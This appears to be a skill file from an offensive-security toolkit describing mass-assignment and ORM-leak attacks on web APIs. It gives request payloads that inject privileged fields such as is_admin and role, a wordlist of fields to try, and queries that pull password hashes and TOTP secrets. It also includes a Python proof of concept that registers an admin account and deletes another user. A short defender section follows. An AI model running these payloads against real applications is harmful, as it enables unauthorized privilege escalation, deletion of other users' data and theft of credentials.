- name
- mass-assignment
- description
- Mass assignment + ORM leak — inject extra fields into create/update requests, escalate to admin, leak protected fields via response.
- metadata
- {"when_to_use":"mass assignment orm leak strong params permit attributes role is_admin","mitre_attack":"T1190, T1078","subdomain":"authorization","upstream_ref":"skills/_corpus/payloads/Mass Assignment/"}
# Mass Assignment + ORM Leak
API endpoints that bind request JSON straight to model `update()` /
`create()` without an allowlist can be coerced into setting admin
fields (`is_admin`, `role`, `verified`, etc).
## 1. Detect
```bash
# Capture a legitimate update request
PATCH /api/users/me
{"name": "Alice"}
# Try adding common privileged fields
PATCH /api/users/me
{"name": "Alice", "is_admin": true, "role": "admin", "verified": true,
"balance": 999999, "permissions": ["*"], "isStaff": true,
"membership_level": "premium", "tier": "enterprise"}
```
Re-fetch own profile. If any of the injected fields persists with
attacker-set value → mass assignment.
## 2. Common field names to try
```
is_admin isAdmin admin superuser is_staff isStaff staff
role roles permission permissions scope scopes group groups
verified email_verified isVerified approved banned is_banned
balance credits points reputation
tier membership_level plan subscription
created_at email user_id uuid external_id organization_id
password password_hash
```
## 3. Framework-specific patterns
### Rails (legacy, pre-strong-params)
`User.create(params[:user])` → all params mass-assigned. Rails 4+ enforces
`params.require(:user).permit(:name, :email)`. If permit list is too broad,
mass assignment.
### Django REST Framework
`UserSerializer(instance, data=request.data, partial=True).save()` → all
declared fields settable. Bug: developer adds `is_staff` to serializer
fields by mistake.
### Express / Mongoose
```js
User.findOneAndUpdate({_id: req.params.id}, req.body)
// → any req.body field becomes a $set. Catastrophic.
```
### Spring Boot
`@RequestBody User u` → Jackson binds all settable properties. If `User`
has setter for `role`, attacker can set it.
### Go / Echo / Gin
`c.Bind(&user)` → same pattern.
## 4. ORM Leak — the response side
Sometimes the **response** serializer leaks fields the request can't set:
```bash
GET /api/users/123
{
"id": 123,
"name": "Alice",
"email": "alice@target.com",
"password_hash": "$2a$12$...", ← leak!
"totp_secret": "JBSW...", ← leak!
"stripe_customer_id": "cus_...",
"internal_notes": "VIP customer"
}
```
Or via GraphQL field expansion:
```graphql
query { user(id: 123) { id name email passwordHash totpSecret } }
```
## 5. Tools
- Burp Intruder w/ wordlist of common privileged field names
- Manual exploration in dev tools — note ALL fields the app sees, try setting each
## 6. PoC
```python
import requests
# Step 1: Register normal account
r = requests.post(f"{TARGET}/register", json={
"username": "attacker",
"password": "test123",
"is_admin": True, # try
"role": "admin", # try
})
# Step 2: Login + check
sess = requests.Session()
sess.post(f"{TARGET}/login", json={"username": "attacker", "password": "test123"})
me = sess.get(f"{TARGET}/api/users/me").json()
assert me.get("is_admin") == True # boom
# Step 3: Use admin powers
sess.delete(f"{TARGET}/api/users/2") # delete another user → confirm admin
```
## 7. Severity
| Bug | Severity |
|---|---|
| Mass assignment to `is_admin` / `role` | Critical 9.8 |
| Mass assignment to `balance` / `credits` | Critical 9.0 |
| Mass assignment to `email_verified` | High 7-8 (chains to ATO) |
| ORM leak of password_hash | Critical 9.8 |
| ORM leak of TOTP secret | Critical 9.8 |
| ORM leak of internal notes / PII | High 7-8 |
## 8. Defender
```python
# Django REST Framework — explicit serializer fields, read_only_fields
class UserSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = ['name', 'email'] # whitelist
read_only_fields = ['id', 'created_at', 'is_admin', 'role']
# Rails — strong params
def user_params
params.require(:user).permit(:name, :email)
end
# General: NEVER serialize entire model directly. Always project.
```
## Cross-references
- Upstream catalog: `skills/_corpus/payloads/Mass Assignment/` + `ORM Leak/`
- API misconfig: `skills/exploit/web/methodology/` (when added)
## Known exemplars
- GitHub 2012: Egor Homakov's classic Rails mass-assignment → set someone else as repo collaborator. Cost: company crisis, paper.
- Multiple Shopify / Atlassian / GitLab bounties for missing strong params
- 2023 GraphQL mass-introspection-leak campaigns
GitHub에서 보기